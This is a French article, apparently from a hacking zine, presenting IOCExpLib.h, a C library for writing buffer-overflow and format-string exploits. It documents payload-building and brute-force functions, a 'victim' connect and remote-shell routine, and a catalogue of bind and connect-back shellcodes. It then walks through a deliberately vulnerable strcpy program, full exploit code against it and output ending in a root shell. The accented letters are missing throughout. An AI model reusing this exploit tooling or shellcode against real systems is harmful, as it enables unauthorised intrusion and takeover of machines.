-------------------------------------------------------------------------------
    IOCExpLib.h - Prsentation (v1.0a BETA)                         Li0n7
-------------------------------------------------------------------------------




 [ Introduction ] 

 Je dterre ma plume car voila bien longtemps que je n'ai pas crit de petit
paper. Avant de commencer, je tiens  mettre les choses au clair, cet article
et la librairie prsente ici s'adressent  des personnes ayant tout comme moi
un niveau plus prs du dbutant que de l'intermdiaire. Ceci tant dit, cet ar-
-ticle a pour but de prsenter de faon concise la librarie IOCExpLib.h, une 
petite gaterie facilitant la programmation d'exploits types proofs of concept
exploitant un large pannel de failles. Je tiens  prciser que la librairie n'en
est qu' sa premire version de la BETA, aussi je vous demanderai d'tre
indulgent quant aux nombreux bugs que vous rencontrerez, de plus,  ce stade du
developpement il manque malheuresement encore beaucoup de fonctionnalits.
Enfin, nous commencerons par dcrire rapidement la librairie, ses 
fonctionnalits, son code, et nous donnerons quelques exemples basiques 
d'utilisation.





 [ Sommaire]



      I - Prsentation de la librairie
             |
             -> 1) Description (ksako)
             |
             -> 2) Prsentation des fonctionnalits
             |         |> Les fonctions
             |         |> Les variables globales et constantes
             |
             -> 3) Etude analyptique du code

      II - Exemples d'utilisation
             |
             -> 1) Stack-based overflows
             |
             -> 2) Heap-based overflows
             |          |> crasement de pointeurs de fonctions
             |          |> Ecrasement du program counter de la structure jmpbuf
             |
             -> 3) Format string exploitation
             |
             -> 4) Small-buffer-based overflows
             |
             -> 5) Network exploitation

      III - Conclusion 
             | 
             -> 1) Le mot de la fin...
             |
             -> 2) Tocome
             |
             -> 3) Remerciements

      IV - Rfrences












[ Contenu de l'archive ]
   
   
   IOCExplib.h        -> la librairie en elle mme
   
   IOCEL_sb.h         -> contient les fonctions relatives  l'exploitation d'un 
                         stack-based overflow
   
   IOCEL_fs.h         -> contient les fonctions relatives  l'exploitation d'un 
                         heap-based overflow             
   
   IOCEL_hb.h         -> contient les fonctions relatives  l'exploitation d'un 
                         format bugs
   
   IOCEL_smallb.h     -> contient les fonctions relatives  l'exploitation de   
                         petits buffers
   
   IOCEL_string.h     -> contient les fonctions de cration de notre payload
   
   IOCEL_getaddr.h    -> contient les fonctions relative  l'obtention          
                         d'adresses de sections, fonctions.. lies au format ELF
   
   IOCEL_network.h    -> contient les fonctions  l'exploitation distante d'un  
                         bug
   
   IOCEL_misc.h       -> contient des fonctions diverses
   
   IOCEL_shellcodes.h -> renferme quelques shellcodes pour les plateformes
                         linux- freebsd - bsdi - solaris










 I - Prsentation de la librairie
 _________________________________


 1) Description

   Qu'est-ce que renferme cette librairie? Une large gamme de fonctions
destine  faciliter la programmation d'exploits, quelles qu'ils soient, pour 
permettre au hacker d'exploiter rapidement une faille avant l'criture rlle 
du code qu'il va releaser (s'il le release, c'est l un autre problme).
 

   Il a t trs difficile de concilier exhaustivit et souplesse, ainsi la ver-
-sion bta de cette librairie n'exploite que des failles type stack-based 
overflow, heap-based overflows, format bugs et small-buffers based overflow, 
meme si ce dernier cas de figure n'est pas en lui mme un type de faille mais 
plutt des conditions dans lesquelles est exploit un bug dans la conception 
d'un programme.



 2) Prsentation des fonctionnalits


   Une tude objective du code nous permet d'observer que le code de la 
librairie est dcoup en sept parties: quatre parties englobant les fonctions 
relatives  chaque type de bug exploit par la lib (stack-based, heap-based, 
format bugs, small-buffers), une partie consacre  la ralisation du payload 
ou evil string, la chaine de caractres injecte dans la plage mmoire d'un 
programme vulnrable, une partie compose des fonctions relatives  une 
exploitation distante d'un bug (i.e network exploitation), et enfin une ultime 
partie exposant des fonctions diverses simplifiant l'criture du code de la 
librairie(misc functions).


   Le plus difficile a t de coder des fonctions les plus souples possible, 
dans le but de pourvoir une utilisation simple et rapide ne se limitant pas  
l'exploitation d'un programme vulnrable type. Bien sr il est possible 
d'associer certaines fonctions pour pouvoir exploiter d'autres bugs de 
conception non traits dans cette version de la librairie.


   Ainsi, on trouve pour chacun des quatre types de bug (je rappelle que le 
small-buffer based, n'est pas un type de bug, mais plutt un cas de figure, mais
je le considre comme tel pour faciliter la prsentation du code), on trouve au
moins une fonction construisant le payload  injecter ainsi qu'une fonction 
bruteforant certaines variables du payload (des paramtres tels que buffer 
size, offset, align par exemple).


   
         2.1) Les Fonctions

   La lib IOCExpLib.h renferme grossomodo 35 fonctions, donc voici les dclara-
-tions (ranges par catgorie, dclares dans le dsordre):


   o- Stack-based overflows:
    
void IOCExpLib_sb_build(int bsize, int offset, int align, long adress, int 
var_env, char *shellcode);

int IOCExpLib_sb_bruteforce(int bsize, int offset, long return_adress, char 
cmd[256], char *shellcode);



   o- Format bugs exploitation:


int IOCExpLib_get_offset(char *progname)
char* IOCExpLib_fs_build(unsigned int addr, unsigned int value, unsigned int 
where);



   o- Heap-based overflows:


int IOCExpLib_hb_build(int bsize, int offset, unsigned long addr, char 
*shellcode, int jmp);

int IOCExpLib_hb_bruteforce(int bsize, int offset, long addr, char cmd[256], 
char *shellcode, int jmp);



   o- Small-buffers exploitation:


int IOCExpLib_small_buffer(int argc, char **argv, char **environ, int bsize, 
int align, char *shellcode); 

int IOCExpLib_small_bufferb(int argc, char **argv, char **environ, int bsize, 
char *shellcode, char cmd[256]);



   o- Network functions:


u_long IOCExpLib_resolve_host(u_char *host_name);

int IOCExpLib_connect(unsigned long victim, int port);

int IOCExpLib_send(int fd, char *buffer);

int IOCExpLib_write(int fd, char *buffer);

int IOCExpLib_read(int fd, char buffer[SIZE_MAX]);

int IOCExpLib_remote_shell(int fd);

void IOCExpLib_close(int fd);



   o- String making:


unsigned long IOCExpLib_get_sp();

long IOCExpLib_return_address(long address, int offset);

char *IOCExpLib_put_nop(char *buff, int size);
long *IOCExpLib_put_raddress(long *addr_ptr, long address, char *ptr, int size, 
int align);

char *IOCExpLib_put_shellcode(char *pointer, char *shellcode);

void IOCExpLib_set_env(char *buffer);



   o- Misc. functions:


long IOCExpLib_diff(char *progname, char *section1, char *section2);

int IOCExpLib_tease();

static void IOCExpLib_exec_vuln(void);

int IOCExpLib_split(char cmd[256]);

int IOCExpLib_return_bsize(void);

int IOCExpLib_return_offset(void);

int IOCExpLib_return_align(void);

unsigned long IOCExpLib_return_addr(void);

unsigned int IOCExpLib_get_faddr(char *progname, char *function);

unsigned int IOCExpLib_get_section(char *progname, char *section);

unsigned int IOCExpLib_get_dtors(char *progname);

unsigned int IOCExpLib_get_got(char *progname, char *function);

char *IOCExpLib_return_shellcode(int id);

void IOCExpLib_display_shellcodes(void);


   Ainsi, on observe que dans les cas des fonctions des trois premires catgo-
-rie (stack-based, heap-based, format bugs), leur nom est prcd des initiales
de l'appellation du bug qu'elles exploitent (sb, hb, fs). 


   Les fonctions relatives  l'exploitation de bugs distants, sont classiques,
connection  un hote distante, lecture/critute de code sur une socket rseau,
connection  une backdoor distante avec gestion temps rl d'un shell, fermeture
d'une socket ou encore rsolution d'un hte distant.


   Quant aux fonctions facilitant la cration du code  injecter, elles sont 
plus ou moins aussi basiques, bien qu'incontournables.


   Les fonctions diverses peuvent tre regroupes en 4 sous catgories, les fon-
-ctions utilises pour le bruteforcing (IOCExpLib_tease(), 
IOCExpLib_exec_vuln()), les fonctions utilises pour retourner des paramtres 
valides, trouvs  la suite d'un bruteforcing (IOCExpLib_return_bsize(), 
IOCExpLib_return_offset(), IOCExpLib_return_align(), IOCExpLib_return_addr()), 
les fonctions retournant des addresses de sections de symbols, utilises dans 
le cas de format bugs ou de heap-based overflow (pour obtenir l'adresse d'une 
fonction de la GOT, l'adresse des destructors, ou encore de la section .bss ou 
.data...)(IOCExpLib_get_faddr(), IOCExpLib_get_section(), IOCExpLib_get_got(), 
IOCExpLib_get_dtors()), et enfin les fonctions permettant  l'utilisateur de 
choisir son shellcode ou d'obtenir des informations sur ces derniers 
(IOCExpLib_return_shellcode(), IOCExpLib_display_shellcodes()).


   
         2.2) Les variables globales et constantes

   La lib IOCExpLib.h utilise bon nombre de variables globales, ce que je 
regrette un peu, le code en est moins soign, mais d'un autre ct, ceci a 
grandement facilit l'criture des fonctions en diminuant le nombre de 
paramtres ncssaires dans leurs prototypes (dj consquents pour la plupart 
je vous l'accorde).

   Voici les variables globales:

    int IOCExpLib_myargc;

    Cette variable sert  stocker le nombre d'arguments ncssaires  
l'exploitation du programme vulnrables (exemple: pour un programme  exploiter 
du type:
"./vuln -f file.txt -g 10 -o user -e <breakme>", IOCExpLib_myargc aura pour va-
-leur 9).

    int IOCExpLib_bsize, IOCExpLib_offset, IOCExpLib_align;
    unsigned long IOCExpLib_addr;

    Ces variables sont remplies respectivement par la taille du buffer, l'offset
et l'alignement trouvs  la suite d'un bruteforcing, sur le programme 
vulnrable, russi. Notez qu'on peut directement les utiliser dans un code ou 
les rcuprer par le biais des fonctions 
IOCExpLib_return_bsize();|offset();|align();|addr();

    char *IOCExpLib_name, *IOCExpLib_payload, *IOCExpLib_myargv[64];
    
    Ces variables sont extrmement importantes puisqu'elles sont indispensables
 la fonction IOCExpLib_exec_vuln() qui xcute le programme vulnrable avec les
arguments entrs par l'utilisateur (ncssaire pour les fonctions de 
bruteforcing par exemple). Ainsi, IOCExpLib_name contient le nom du fichier, 
IOCExpLib_payload la chaine de caractre diabolique exploitant une 
vulnrabilit, et enfin IOCExpLib_myargv[64] est un tableau contenant tous les 
arguments  utiliser avec le programme vulnrable. Toutes ces variables sont 
retournes par la fonction
IOCExpLib_split();
 (exemple: avec un programme type  exploiter de la sorte: 
"./vuln -s user -f fichier.txt -d <breakme>" et, Le code suivant:

-----------------------------------
     int i;
     char cmd[] = "./vuln -s user -f fichier.txt -d <breakme>";
     IOCExpLib_split(cmd);
     
     fprintf(stdout, "Le nom du programme est %s, il y a %i arguments\n", 
IOCExpLib_name, IOCExpLib_myargc);

     for(i= 0; i <= IOCExpLib_myargc; ++i)
          if(IOCExpLib_myargv[i] != 0){
              fprintf(stdout, "IOCExpLib_myargv[%i] = %s\n", i, 
IOCExpLib_myargv[i]);
          }
----------------------------------

   Vous devriez obtenir quelque chose comme ceci:
       Le nom du programme est vuln, il y a 7 arguments 
       IOCExpLib_myargv[0] = ./vuln
       IOCExpLib_myargv[1] = -s
       IOCExpLib_myargv[2] = user
       IOCExpLib_myargv[3] = -f
       IOCExpLib_myargv[4] = fichier.txt
       IOCExpLib_myargv[5] = -d
       IOCExpLib_myargv[6] = <breakme>

   Notez que la chaine de caractre <breakme> entre en dernier argument dans
ce cas l, sera ensuite remplace par notre evil string. Nous tudierons a plus
tard.


    extern char **environ;

    Enfin, cette ultime variable contient l'environnement dans lequel est lanc 
le programme.


   Passons ensuite aux constantes, elles sont bateaux comme  l'habitude.


    #define VERBOSE

    La constante VERBOSE (mode bavard) est  utiliser avec attention, il n'y a 
pour le moment, qu'un seul niveau de "bavardage", ainsi, cette constante 
dclare, le programme sera extrmement "bavard", et dcrira en dtail 
l'avance de l'exploitation du bug. Dans le cas contraire, il sera plus que 
silencieux.

    #define VERSION                                    "IOCExpLib V1.0a BETA by 
IOC"

    Comme je l'ai dit prcdemment, la version actuelle de la librairie n'en est
qu' sa premire bt, aussi je vous demande d'tre exigeant quant aux bugs
que vous pourriez rencontrer.

    #define DEFAULT_OFFSET                     0 

    L'offset  partir duquel le bruteforcing commence.

    #define DEFAULT_BUFFER_SIZE             600

    La taille du buffer  exploiter dans le cadre d'un bruteforcing, si aucune
taille n'est spcifie, alors on utilise celle l.

    #define DEFAULT_ALIGN                        0

    L'alignement en mmoire par dfaut.

    #define NOP                                           0x90

    Nop suxx? (x86)

    #define OFFSET_MAX                            -1000

    L'offset  partir duquel le bruteforcing stoppera.

    #define EGG                                           "EGG="

   Dans le cas d'un stack-based overflow par exemple, on peut spficier si oui
ou non on dsire utiliser une variable d'environnement pour stocker notre 
payload dans ce cas l, la variable d'environnement aura pour nom $EGG.

    #define SIZE_MAX                                           1024
     
    Utilis dans la fonction rseau IOCExpLib_read() pour spcifier la longueur
des donnes  lire.



 3) tude analyptique du code

   Attention: le code actuel est en mesure d'voluer, la version actuelle de la 
lib tant une simple bt release. Aussi je ne prsenterai que les fonctions 
susceptibles de ne PAS subir de modifications.


    Nous tudierons dans cette partie, l'ensemble des fonctions proposes par la
librairie, en commenant par les plus simples.



   o- String making:


unsigned long IOCExpLib_get_sp();

    Cette fonction permet d'obtenir l'adresse du registre courant esp (stack 
pointer), pointant sur le sommet de la pile, le but tant de deviner le 
dcalage existant entre le le sommet de la pile et l'adresse de notre
shellcode, nous soustrairons plus tard un offset pour essayer d'obtenir une 
adresse pointant sur des NOPs de notre shellcode, plac dans le buffer 
vulnrable. Ainsi l'adresse du sommet de la pile est retourne.


long IOCExpLib_return_address(long address, int offset);

    Cette fonction soustrait un offset  l'adresse du registre esp, pour tenter 
d'obtenir une adresse valide pointant sur les NOPs prcdant notre shellcode.
L'adresse du registre esp (long address) ainsi que l'offset  soustraire (int
offset), sont entrs en argument, tandis qu'une adresse hypothtique type long 
est retourne.


char *IOCExpLib_put_nop(char *buff, int size);

    Cette fonction est plus que basique, elle remplie un buffer de size NOP. 
Elle prend en argument le buffer  remplir (char *buff), le nombre de NOPs  y 
placer (int size), et retourne le buffer alors rempli.


long *IOCExpLib_put_raddress(long *addr_ptr, long address, char *ptr, int size, 
int align);

    Cette fonction permet de placer une adresse de retour dans un buffer, on 
prend en compte un alignement en mmoire compris entre 0 et 3.


char *IOCExpLib_put_shellcode(char *pointer, char *shellcode);

    Cette fonction place le shellcode dans un buffer, tous deux entrs en argum-
-ents et retourne le buffer modifi.


void IOCExpLib_set_env(char *buffer);

   Enfin, cette ultime fonction permet de placer dans une variable 
d'environnement, une chaine de caractre, contenant notre payload, entre en 
argument.
   


   o- Misc. functions:


long IOCExpLib_diff(char *progname, char *section1, char *section2);

    Cette fonction peut tre utilis dans le cas d'un heap overflow par 
crasement de l'adresse du destructor (section .DTORS). On entre en argument le 
nom du programme  partir pour lequel nous rcuprerons les adresses des deux 
sections dont les noms sont entrs en argument (char *section1, *section2), et 
cette fonction s'occupe de soustraire l'adresse de la section2  celle de la 
section1 et retourne le rsultat. 


int IOCExpLib_tease();

    Cette fonction est utilise pour tous les types de bruteforcing. Elle permet
de tester si oui ou non notre payload nous a lanc un shell sur le programme
vulnrable. Son fonctionnement est simple, on fork() pour dupliquer le processus
courant, ensuite on xcute dans le processus enfant le programme vulnrable 
avec un payload, puis, on attend que le processus enfant se termine via
wait(&status). On analyse ensuite la sortie de l'enfant, si le processus enfant 
s'est termin normalement, alors il y a de fortes chances pour que notre payload
soit valide, on utilise pour cela les maccros dclares dans sys/wait.h:
WEXITSTATUS(status), WIFSIGNALED(status), WTERSIG(status), WCOREDUMP(status).
Cette fonction retourne le numro correspondant  l'tat du status du processus 
enfant (0 si le programme s'est xcut sans erreur).


static void IOCExpLib_exec_vuln(void);

    Cette fonction lance notre programme vulnrable. Aucun paramtre n'est 
spcifi, puisque nous avons vu prcdemment que cette fonction utilise les var-
-iables globales IOCExpLib_myargc, IOCExpLib_myargv[64], IOCExpLib_name pour
obtenir les paramtres ncssaires  l'xcution du programme vulnrable.


int IOCExpLib_split(char cmd[256]);

    Nous avons dj tudi cette fonction prcdemment, elle permet de sparer
les diffrents arguments contenus dans la chaine de caractre cmd[256] entre 
en  paramre pour les placer dans le tableau IOCExpLib_myargv[64]. Notons que si
la variable globale IOCExpLib_payload n'est pas NULL alors l'argument correspon-
-dant  la chaine de caractre "<breakme>" dans IOCExpLib_myargv[64] est 
remplac par le payload.
    Ainsi si vous avez le programme vulnrable suivant "./vuln -n nom -p prenom 
-a age"
et que vous souhaitez overflooder la variable prenom, vous entrerez comme cmd:
"./vuln -n nom -p <breakme> -a age", ce qui aura pour consquence d'xcuter 
vuln avec  la place du prnom, votre payload.


int IOCExpLib_return_bsize(void);
int IOCExpLib_return_offset(void);
int IOCExpLib_return_align(void);
unsigned long IOCExpLib_return_addr(void);

    Ces quatre fonctions retournent les paramtres suivant: taille du buffer 
(buffer size), offset, align et return address (addresse de retour de notre 
shellcode), paramtres valides. Les valeurs retournes par ses fonctions sont 
respectivement stockes dans les variables globales IOCExpLib_bsize, 
IOCExpLib_offset, IOCExpLib_align, IOCExpLib_addr. Vous pouvez donc directement 
les rcuprer par le biais de ces variables. Ces variables sont remplies par 
les valeurs retournes  la suite d'un bruteforcing russi.


unsigned int IOCExpLib_get_faddr(char *progname, char *function);
unsigned int IOCExpLib_get_section(char *progname, char *section);
unsigned int IOCExpLib_get_dtors(char *progname);
unsigned int IOCExpLib_get_got(char *progname, char *function);
 
    Ces fonctions permettent de retourner l'adresse d'une section ou d'une fon-
-ction situe dans une section quelconque d'un xcutable au format ELF.
Notez que la fonction IOCExpLib_get_section() peut se substuer  toutes les 
autres fonctions, puisqu'elle permet de retourner l'adresse de n'importe quelle 
section. Remarquons aussi que l'adresse retourne par la fonction 
IOCExpLib_get_dtors() est incrmente de 4 pour directement donner l'adresse du 
tag head  craser.
  

char *IOCExpLib_return_shellcode(int id);

    Cette fonction retourne un shellcode correspondant  l'identifiant id entr
en paramtre. Pour le moment seulement 16 shellcodes sont disponibles,
pour obtenir leurs numros, se rfrer  la fonction suivante.


void IOCExpLib_display_shellcodes(void);

    Cette fonction affiche l'ensemble des shellcodes disponibles pour le moment,
en voici la liste:
        [x] Here are all the shellcodes available (IOCExpLib V1.0a BETA by IOC)
 
        ID   NAME           FUNCTION  LENGHT
        [1] linux_long_sh: LINUX runs /bin/sh, (45) - ?
        [2] linux_short_sh: LINUX runs /bin/sh, very short shellcode (24) - ?
        [3] linux_bind_shell: LINUX binds a shell on port 5555 (89) - by 
Emper0r@ioc.fr.st
        [4] linux_bind_chroot: LINUX setuid(0) + chroot() break remote 
shellcode (122) - by sd@cdi.cz
        [5] linux_connect_back: LINUX minimalistic "69" remote shellcode 
(connect-back) (ntbe) (16) - by sd@cdi.cz
        [6] linux_setuid_sh: LINUX setuid(0) + execve() /bin/sh (28) - by 
sd@cdi.cz
        [7] linux_setuid_chroot_sh: LINUX setuid(0) + chroot break + execve() 
(61) - by sd@cdi.cz
 
        [8] fbsd_shell_binder: FreeBSD shellcode that binds /bin/sh to port 
41254 (115) - by zillion (safemode.org)
        [9] fbsd_connect_back: FreeBSD Connecting back shellcode (ntbe) (97) - 
by zillion (safemode.org)
        [10] fbsd_long_sh: FreeBSD execve() /bin/sh (29) - by zillion 
(safemode.org)
        [11] fbsd_poly_bind: FreeBSD shellcode that will bind /bin/sh to port 
43690 (138) - by zillion (safemode.org)
 
        [12] bsd_setuid_sh: BSD setuid(0,0); execve /bin/sh; exit(); (38) - by 
eSDee of Netric (www.netric.org)
        [13] bsd_shell_binder: BSD binds a shell on port 5555 (very short 
shellcode) (72) - by emper0r@ioc.fr.st
        [14] bsd_connect_back: BSD connect back shellcode (port=0xb0ef) (ntbe) 
(124) - by eSDee of Netric (www.netric.org)
 
        [15] solaris_setuid_sh: SOLARIS setuid(0,0); execve /bin/sh; (40) - by 
bighawk@kryptology.org
        [16] solaris_shell_binder: SOLARIS binds /bin/sh on port 10000 (92) - 
by bighawk@kryptology.org
 
         *'ntbe': Need To Be Edited (edit IP address to connect back to for 
instance)
    
   Les informations renvoyes sur les shellcodes par la commande
IOCExpLib_display_shellcode() sont imprimes selon le format suivant:
[IDENTIFIFANT SHELLCODE- NOM SHELLCODE - DESCRIPTION - TAILLE - AUTEUR] 


   o- Network functions:


u_long IOCExpLib_resolve_host(u_char *host_name);

    Cette fonction permet la rsolution d'un nom d'hte distant. Le nom est 
entr en argument, tandis que son adresse est retourne.


int IOCExpLib_connect(unsigned long victim, int port);

    Cette fonction permet la communication de deux sockets rseaux. Elle 
commence par construire notre socket rseaux puis tente ensuite de se connecter 
par le biais des informations entres en arguments (l'adresse de la victime, le 
port sur lequel se connecter). Si la connection a chou, alors elle retourne   
-1.


int IOCExpLib_send(int fd, char *buffer);

    Cette fonction envoie les donnes entres en argument sur la socket rseau 
fd. Si le buffer est NULL ou si l'envoie a chou, alors la fonction retourne 
-1.


int IOCExpLib_write(int fd, char *buffer);
int IOCExpLib_read(int fd, char buffer[SIZE_MAX]);

    Ces deux fonctions permettent de recevoir et mettre des donnes sur une 
socket rseau entre en argument.


int IOCExpLib_remote_shell(int fd);

    Cette fonction a t rcupre  partir de l'article de OUAH sur les buffer
overflows (voir rfrences en fin d'article). Cette fonction est utilise aprs 
avoir envoy notre payload sur le serveur distant prsentant un binaire 
vulnrable. Si l'exploit a fonctionn, alors le port 5555 (dans le cas du 
shellcode d'Emper0r) est ouvert et en attente de connection. On se connecte 
alors  se port via IOCExpLib_connect() par exemple puis on envoie une commande 
quelconque telle que "id;uname -a" par exemple. C'est l que notre fonction 
entre en jeu.

    Elle se base sur le principe du multiplexage d'entres, on endort le proces-
-sus aprs avoir communiquer au noyau la liste des descripteurs qui nous 
intrssent. Si on reoit des donnes sur une socket rseau alors on rveille 
le processus, on affiche les donnes reues, puis enfin on demande  
l'utilisateur d'entrer une commande, puis on re-endort le processus, et on 
recommence. C'est le principe du shell interactif.


void IOCExpLib_close(int fd);

    Cette fonction ferme une socket rseau, et retourne le code de retour de 
close().


   o- Stack-based overflows:
    

void IOCExpLib_sb_build(int bsize, int offset, int align, long adress, int 
var_env, char *shellcode);

    Fonction mre de toute exploitation de stack-based overflows, elle permet de
construire notre chaine diabolique ("evil string"). Elle prend en argument la
taille du buffer  exploiter (bsize), le dcalage entre le sommet de la pile et
notre shellcode (offset), et enfin le shellcode  utiliser. La variable var_env 
permet de spcifier si oui ou non on dsire utiliser une variable 
d'environnement, 1 pour en utiliser une, 0 sinon. Notez que l'on peut aussi 
spcifier une adresse de retour  utiliser (long adress), dans le cas contraire 
l'adresse de retour est calcule en effectuant la somme:
      address = IOCExpLib_get_sp() - offset;
Le payload a donc cette forme: [NOPNOP(...)NOP][SHELLCODE][RET_ADDR(...)].


int IOCExpLib_sb_bruteforce(int bsize, int offset, long return_adress, char 
cmd[256], char *shellcode);

    Cette fonction permet de bruteforcer la taille du buffer  exploiter, 
l'offset ainsi que l'alignement en mmoire. On entre en paramtre la taille du 
buffer ainsi que l'offset  partir desquels commencer  bruteforcer. On peut l 
aussi spcifier directement une adresse de retour  partir de laquelle on 
bruteforce. On entre enfin la commande renfermant le programme vulnrable  
xcuter ainsi que le shellcode  utiliser.
    Notez que cette fonction dcrmente buffer size et offset de 100, pour 
chaque couple buffer-size/offset on lance le programme vulnrable en essayant 
successivement les alignements 0, 1, 2 et 3. Enfin, il est fortement 
recommander d'entrer une taille pour le buffer, largement plus grande que celle 
du buffer vulnrable. Dans le cas contraire, le bruteforcing chouerait.    


   o- Heap-based overflows:


int IOCExpLib_hb_build(int bsize, int offset, unsigned long addr, char 
*shellcode, int jmp);

    Par analogie  la foncton IOCExpLib_sb_build(), cette fonction construit le
payload utilis dans l'exploitation de buffer overflows ayant lieu dans le heap
(tas) et non dans la stack (pile). On fournit dans ce cas de figure l, 
l'adresse de la section contenant notre buffer overfloodable (dans un programme 
compil en static, la section .bss), la taille du buffer exploitable, l'offset 
et le shellcode. Comment la chaine est-elle construite? On commence par remplir 
le buffer par des instructions NOP jusqu' une adresse situe dans le buffer :
(bsize - strlen(shellcode), on place ensuite notre shellcode, et enfin on 
dborde sur l'entite situe  ct de notre buffer dans le heap (de prfrence 
un pointeur de fonction) en crasant son adresse par notre adresse de retour 
calcule de la faon suivante: addr + offset (ou addr reprsente l'adresse du 
dbut de notre section .bss, tandis que offset la moiti environ de la section 
.bss).
    La variable jmp permet de spcifier si oui ou non on dsire exploiter une
faille de type longjmp(), si oui, alors notre payload est construit 
diffremment. On crase pour cela l'adresse du champs jmpbuf->pc (program 
counter), correspondant  la sauvegarde du registre eip (l'instruction 
pointer), par l'adresse de retour de notre shellcode.

int IOCExpLib_hb_bruteforce(int bsize, int offset, long addr, char cmd[256], 
char *shellcode, int jmp);

    Cette fonction permet de bruteforcer le dcalage relatif entre le dbut de 
notre section .bss et le dbut de notre shellcode, en dcrmentant cet offset de
10 jusqu' atteindre 0. Les valeurs retournes sont l'offset et l'adresse de
retour utiliss dans le cas ou le bruteforce aurait russi.


   o- Small-buffers exploitation:


int IOCExpLib_small_buffer(int argc, char **argv, char **environ, int bsize, 
int align, char *shellcode); 

    Cette fonction construit le payload dans le cadre de l'exploitation d'un
petit buffer. Je vous renvoie  l'article de Seb-Sb (voir rfrence en fin
d'article). Cette technique est utilise dans le cas ou vous devez exploiter un
buffer trop petit pour contenir votre shellcode. Le principe est simple, on r-
-cupre l'adresse de notre shellcode que l'on stocke alors dans le dernier 
argument entr en paramre du programme (ex: ."/vuln -s <notreshellcode>"), 
puis on  crase l'adresse de l'eip sauvegard par l'adresse exacte de notre 
shellcode (calcule ainsi:) 

----------------------------------
      (char *) retaddr = argv[argc-1] + strlen(argv[argc-1]);
      retaddr -= strlen(shellcode);
      retaddr += align;
----------------------------------

    On commence par se placer  l'adresse du dernier argument, ensuite on 
soustrait  sa addresse la taille de notre shellcode, on obtient alors 
l'adresse exacte de notre shellcode. On ajoute ensuite  cette adresse un 
alignement quelconque (variant selon les machines).
    Notez que l'on transmet  notre fonction le nombre d'arguments (argc), les
arguments eux-mmes (argv), notre environnement, la taille du buffer, 
l'alignement souhait, ainsi que le shellcode  utiliser.

int IOCExpLib_small_bufferb(int argc, char **argv, char **environ, int bsize, 
char *shellcode, char cmd[256]);

    Cette fonction permet de bruteforcer l'alignement en mmoire (0,1,2,3). Mme
prototype que la fonction prcdente,  la diffrence que l'on fournit en 
paramtre la ligne de commande correspondant  l'xcution du programme 
vulnrable.


   o- Format bugs exploitation:


char* IOCExpLib_fs_build(unsigned int addr, unsigned int value, unsigned int 
where);
  
    Attention: cette fonction est directement issue de l'article sur les dbord-
-ements de tampon par C. Blaess, C. Grenier et F. Raynal (voir rfrence en fin
d'article).
    Cette fonction permet de crer un payload dans le cadre de l'exploitation
d'un format bug par direct reference. Je vous redirige vers cet article d'une 
trs grande facture pour mieux saisir le fonctionnement des format bugs, un peu
plus complexes que des heap/stack-based overflows, et la prsentation de tels
bugs dpasse le cadre de cette article. 
   Notez que pour le moment je n'ai pas touch  cette fonction (manque de 
temps, cette article sort dj avec une semaine de retard, tandis que la bt 
de la lib vient juste de commencer), mais il faut que le programme vulnrable 
ait la mme taille que l'exploit, je vous laisse recoder la fonction pour 
bypasser cette restriction. La prochaine version de la lib sera patche de 
toute faon.

int IOCExpLib_get_offset(char *progname);

    Cette fonction permet de calculer l'offset, ou plutt le nombre de eats n-
-cssaires pour se placer au dbut du buffer vulnrable.



 II - Exemples d'utilisation
 _____________________________


   Nous tudierons  travers cette partie diffrents cas de figure basiques, 
dans lesquels notre librairie nous sera utile. Dans chacun des cas, nous 
tudierons deux exploits, l'exploit simple sans bruteforcing, et l'exploit avec 
bruteforcing.


 1) Stack-based overflow

   Voici le programme vulnrable (le buffer vulnrable a volontairement une
taille importante):

---------vuln1.c------------------

 #include <string.h>
int main(int argc, char * argv [])
  {
    char buffer [1000];

    if (argc > 1)
    strcpy(buffer, argv[1]); // here's the flaw
    return (0);
  }

----------------------------------

   Nous nous trouvons dans le cas du stack-base overflow classique:

  
---------exp_sb_nobf.c------------

#include <stdio.h>
#include "../IOCExpLib.h"

#define CMD "vuln1 <breakme>\n"
#define RET 0xbffff5a8

int
main(int argc,char *argv[]) {

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE, align=0;
  int res;
  char shellcode[512];

   if (argc > 1) bsize  = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   
   strncpy(shellcode, IOCExpLib_return_shellcode(2), 512);
   IOCExpLib_sb_build(bsize, offset, align, RET, 0, shellcode);
   IOCExpLib_split(CMD);
   IOCExpLib_exec_vuln();

   return 0;
}

----------------------------------

   On utilise dans ce cas l une adresse de retour 0xbffff5a8, ainsi que le
shellcode dont l'identifiant est 2, ce shellcode lance /bin/sh et ne fait que 
24 octets! =)

gcc -o vuln1 vuln1.c
gcc -o exp_sb_nobf exp_sb_nobf.c
./exp_sb_nobf 1500
[+] Using adress: 0xbffff5a8
sh-2.04# exit
exit

   Essayons dsormais de bruteforcer la taille du buffer, l'offset et 
l'alignement 
en mmoire.

------exp_sb_bruteforcer.c--------

#include <stdio.h>
#include "../IOCExpLib.h"

#define CMD "vuln <breakme>\n"

int
main(int argc,char *argv[]) {

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE, align=0;
  int res;
  char shellcode[512];

   if (argc > 1) bsize  = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);

   strncpy(shellcode, IOCExpLib_return_shellcode(2), 512);
   res = IOCExpLib_sb_bruteforce(bsize, offset, 0, CMD, shellcode);

   return 0;
}

----------------------------------

   Notons qu'on entre la valeur 0 comme troisime argument, qui correspond norm-
-alement  l'adresse de retour que nous dsirons utiliser pour la fonction
IOCExpLib_sb_bruteforce();; ce qui a pour rsultat de laisser l'exploit tenter 
de calculer lui mme une adresse de retour valide.

gcc -o exp_sb_bruteforce exp_sb_bruteforce.c
./exp_sb_bruteforce 2100
[x] Starting bruteforcing offset/align/buffer size
[+] Using buffer size = 2100 ; offset = 0; align = 0
[+] Using address: 0xbffff548
[+] Using buffer size = 2100 ; offset = 0; align = 1
[+] Using address: 0xbffff548
[+] Using buffer size = 2100 ; offset = 0; align = 2
[+] Using address: 0xbffff548
[+] Using buffer size = 2100 ; offset = 0; align = 3
[+] Using address: 0xbffff548
[+] Using buffer size = 2100 ; offset = -100; align = 0
[+] Using address: 0xbffff5ac
[+] Using buffer size = 2100 ; offset = -100; align = 1
[+] Using address: 0xbffff5ac
[+] Using buffer size = 2100 ; offset = -100; align = 2
[+] Using address: 0xbffff5ac
[+] Using buffer size = 2100 ; offset = -100; align = 3
[+] Using address: 0xbffff5ac
[+] Using buffer size = 2100 ; offset = -200; align = 0
